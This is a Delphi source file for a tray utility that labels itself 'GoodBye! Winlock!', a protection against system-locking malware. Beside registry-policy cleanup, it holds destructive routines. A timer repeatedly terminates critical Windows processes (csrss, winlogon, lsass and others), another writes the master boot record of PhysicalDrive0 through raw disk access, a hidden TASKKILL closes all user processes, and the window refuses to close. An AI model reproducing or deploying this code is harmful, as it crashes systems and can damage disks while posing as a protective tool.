unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ExtCtrls, ShellAPI, TlHelp32, Menus, ExtCtrlsX,
  XPMan, StdCtrls, Registry;

type
  TForm1 = class(TForm)
    tmr1: TTimer;
    tmr2: TTimer;
    trycn1: TTrayIcon;
    pm1: TPopupMenu;
    D1: TMenuItem;
    D2: TMenuItem;
    d3: TMenuItem;
    D4: TMenuItem;
    xpmnfst1: TXPManifest;
    btn1: TButton;
    btn2: TButton;
    tmr3: TTimer;
    tmr4: TTimer;
    tmr5: TTimer;
    N1: TMenuItem;
    N2: TMenuItem;
    procedure tmr1Timer(Sender: TObject);
    procedure D4Click(Sender: TObject);
    procedure tmr2Timer(Sender: TObject);
    procedure btn1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure tmr3Timer(Sender: TObject);
    procedure btn2Click(Sender: TObject);
    procedure tmr4Timer(Sender: TObject);
    procedure tmr5Timer(Sender: TObject);
    procedure d3Click(Sender: TObject);
    procedure D2Click(Sender: TObject);
    procedure D1Click(Sender: TObject);
    procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

Function HandleToFullPath(H: HWND): String;
Var
Pid:Cardinal;
M: TModuleEntry32;
HSnapshot: THandle;
Begin
Result:='';
GetWindowThreadProcessId(H,@Pid);
HSnapshot:=CreateToolhelp32Snapshot(TH32CS_SNAPMODULE,Pid);
If HSnapshot=-1 Then
Exit;
M.DwSize:=SizeOf(TModuleEntry32);
If Module32First(HSnapshot,M) Then
Result:=M.SzExePath;
CloseHandle(HSnapshot);
End;

function KillTask (ExeFileName:String):integer;
  const Process_Terminate=$0001;
  var ContinueLoop:BOOL;
      FSnapShotHandle:THandle;
      FProcessEntry32:TProcessEntry32;
begin
 result:=0;
 FSnapShotHandle:=CreateToolHelp32SnapShot(TH32CS_SnapProcess,0);
 FProcessEntry32.dwSize:=SizeOf(FProcessEntry32);
 continueLoop:=Process32First(FSnapShotHandle,FProcessEntry32);
 while integer(continueloop)<>0 do
  begin
   if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile))= UpperCase(ExeFileName))
    or (UpperCase(FProcessEntry32.szExeFile) = UpperCase(ExeFileName))) then
     Result:=Integer(TerminateProcess(OpenProcess(Process_TERMINATE,bool(0),
      FProcessEntry32.th32ProcessID),0));
     ContinueLoop:=Process32Next(FSnapShotHandle,FProcessEntry32);
     end;
     CloseHandle(FSnapShotHandle);
     end;

function MyCallback(Wnd: THandle;Param: integer): boolean; stdcall;
var
  style: longint;
  tsb, rabst: integer;
begin
  tsb:=FindWindow('Shell_TrayWnd', nil);
  rabst:=FindWindow('ProgMan', 'Program Manager');
  Result := Wnd <> 0;
  style:=GetWindowLong(wnd,GWL_EXSTYLE);
  style:=style and WS_EX_TOPMOST;
  if Result and IsWindowVisible(Wnd)and (not IsIconic(WND)) and (wnd<>tsb) and
  (wnd<>rabst) and (wnd<>FindWindow('Indicator',nil)) and
  (style<>WS_EX_TOPMOST)and(wnd<>form1.handle)then
  begin
    ShowWindow(Wnd,sw_hide);
    ShowWindow(Wnd,Param);
  end;
end;


procedure ShowAllWindows(Cmd: integer);
begin
  EnumWindows(@MyCallback,Cmd);
end;

function processExists(exeFileName: string): Boolean;
var
ContinueLoop: BOOL;
FSnapshotHandle: THandle;
FProcessEntry32: TProcessEntry32;
begin
FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
FProcessEntry32.dwSize := SizeOf(FProcessEntry32);
ContinueLoop := Process32First(FSnapshotHandle, FProcessEntry32);
Result := False;
while Integer(ContinueLoop) <> 0 do
begin
if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) =
UpperCase(ExeFileName)) or (UpperCase(FProcessEntry32.szExeFile) =
UpperCase(ExeFileName))) then
begin
Result := True;
end;
ContinueLoop := Process32Next(FSnapshotHandle, FProcessEntry32);
end;
CloseHandle(FSnapshotHandle);
end;

procedure MBRSave;
var
  f1,f2:cardinal;
  buf:array [0..511] of byte;
  nr,nw:Cardinal;
begin
  f1 := CreateFileA('\\.\PhysicalDrive0',GENERIC_ALL,FILE_SHARE_WRITE + FILE_SHARE_READ,0,OPEN_EXISTING,0,0);
  f2 := CreateFileA('backup.bin',GENERIC_ALL,FILE_SHARE_WRITE + FILE_SHARE_READ,0,CREATE_ALWAYS,0,0);
  ReadFile(f1,buf,512,nr,0);
  WriteFile(f2,buf,nr,nw,0);
  CloseHandle(f1);
  CloseHandle(f2);
end;

procedure MBRLoad;
var
  f1,f2:cardinal;
  buf:array [0..511] of byte;
  nr,nw:Cardinal;
begin
  f1 := CreateFileA('\\.\PhysicalDrive0',GENERIC_ALL,FILE_SHARE_WRITE + FILE_SHARE_READ,0,OPEN_EXISTING,0,0);
  f2 := CreateFileA('backup.bin',GENERIC_ALL,FILE_SHARE_WRITE + FILE_SHARE_READ,0,OPEN_EXISTING,0,0);
  ReadFile(f2,buf,512,nr,0);
  WriteFile(f1,buf,nr,nw,0);
  CloseHandle(f1);
  CloseHandle(f2);
end;

procedure TForm1.tmr1Timer(Sender: TObject);
begin
KillTask('smss.exe');
KillTask('csrss.exe');
KillTask('winlogon.exe');
KillTask('services.exe');
KillTask('lsass.exe');
end;

procedure TForm1.D4Click(Sender: TObject);
begin
Application.Terminate;
end;

procedure TForm1.tmr2Timer(Sender: TObject);
begin
btn1.Click;
end;

procedure TForm1.btn1Click(Sender: TObject);
begin
if FileExists('backup.bin') then
MBRLoad
else
MBRSave
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
trycn1.ShowBalloonHint;
end;

procedure TForm1.tmr3Timer(Sender: TObject);
begin
SystemParametersInfo(SPI_SETFASTTASKSWITCH, 0, 0, 0);
SystemParametersInfo(SPI_SCREENSAVERRUNNING, 0, 0, 0);
end;

procedure TForm1.btn2Click(Sender: TObject);
var
WH:HWND;
r:tregistry;
begin

  WH:=Handle;
 repeat
  WH:=GetNextWindow(WH,GW_HWNDNEXT);
  if (GetParent(WH)=0)and(not IsIconic(WH))and(IsWindowVisible(WH)) then
  PostMessage(WH,WM_SYSCOMMAND,SC_close,0);
 until WH=0;

  WH:=Handle;
 repeat
  WH:=GetNextWindow(WH,GW_HWNDNEXT);
  if (GetParent(WH)=0)and(not IsIconic(WH))and(IsWindowVisible(WH)) then
  PostMessage(WH,WM_SYSCOMMAND,SC_minimize,0);
 until WH=0;
 ShowAllWindows(SW_SHOWMINIMIZED);
ShellExecute(0,'open','cmd.exe',PChar('/c TASKKILL /F /FI "Imagename ne '+ExtractFileName(Application.ExeName)+'" /FI "USERNAME eq %USERNAME%'),'C:\Windows\system32\',SW_HIDE);

r:=Tregistry.Create;
r.RootKey:=HKEY_CURRENT_USER;
r.OpenKey('software\Microsoft\Windows\CurrentVersion\Policies\system',true);
r.WriteInteger('DisableTaskMgr',0);
r.closekey;
r.free;

r:=Tregistry.Create;
r.RootKey:=HKEY_CURRENT_USER;
r.OpenKey('Software\Policies\Microsoft\Windows\System',true);
r.WriteInteger('DisableCMD',0);
r.closekey;
r.free;

r:=Tregistry.Create;
r.RootKey:=HKEY_CURRENT_USER;
r.OpenKey('software\Microsoft\Windows\CurrentVersion\Policies\system',true);
r.WriteInteger('DisableRegistryTools',0);
r.closekey;
r.free;

r:=Tregistry.Create;
r.RootKey:=HKEY_LOCAL_MACHINE;
r.OpenKey('Software\Microsoft\Windows\CurrentVersion\Policies\Explorer',true);
r.DeleteValue('NoViewOnDrive');
r.closekey;
r.free;

r:=Tregistry.Create;
r.RootKey:=HKEY_CURRENT_USER;
r.OpenKey('Software\Microsoft\Windows\CurrentVersion\Policies\Explorer',true);
r.WriteInteger('NoClose',0);
r.closekey;
r.free;

r:=Tregistry.Create;
r.RootKey:=HKEY_LOCAL_MACHINE;
r.OpenKey('SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\Run',true);
r.DeleteValue('Asynchronous');
r.DeleteValue('Impersonate');
r.DeleteValue('DllName');
r.DeleteValue('Logon');
r.closekey;
r.free;

r:=Tregistry.Create;
r.RootKey:=HKEY_CURRENT_USER;
r.OpenKey('software\Microsoft\Windows\CurrentVersion\run',true);
r.DeleteValue('windows');
r.closekey;
r.free;

r:=Tregistry.Create;
r.RootKey:=HKEY_LOCAL_MACHINE;
r.OpenKey('software\Microsoft\Windows\CurrentVersion\run',true);
r.DeleteValue('userini');
r.closekey;
r.free;

r:=Tregistry.Create;
r.RootKey:=HKEY_LOCAL_MACHINE;
r.OpenKey('SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',true);
r.WriteString('Shell','Explorer.exe');
r.closekey;
r.free;
KillTask('explorer.exe');
WinExec('explorer.exe', SW_NORMAL);
end;

procedure TForm1.tmr4Timer(Sender: TObject);
label
kon,jigurda;
begin
    if processExists('explorer.exe') then begin
goto kon
    end
    else
    begin
goto jigurda;
    jigurda:
      btn2.Click;
kon:
    end;
end;

procedure TForm1.tmr5Timer(Sender: TObject);
label
kon,jigurda;
begin
    if not processExists('sound.exe') then begin
goto kon
    end
    else
    begin
goto jigurda;
    jigurda:
      btn2.Click;
kon:
    end;
end;

procedure TForm1.d3Click(Sender: TObject);
begin
tmr1.Enabled:= False;
tmr2.Enabled:= False;
tmr3.Enabled:= False;
tmr4.Enabled:= False;
tmr5.Enabled:= False;
trycn1.BalloonHint:='Защита выключена !';
trycn1.ShowBalloonHint;
end;

procedure TForm1.D2Click(Sender: TObject);
begin
tmr1.Enabled:= True;
tmr2.Enabled:= True;
tmr3.Enabled:= True;
tmr4.Enabled:= True;
tmr5.Enabled:= True;
trycn1.BalloonHint:='Защита включена !';
trycn1.ShowBalloonHint;
end;

procedure TForm1.D1Click(Sender: TObject);
begin
trycn1.BalloonHint:='GoodBye! Winlock! v1.0 - данная программа позволяет защититься от программ которые блокируют работу системы';
trycn1.ShowBalloonHint;
end;

procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
begin
CanClose:= False;
end;

end.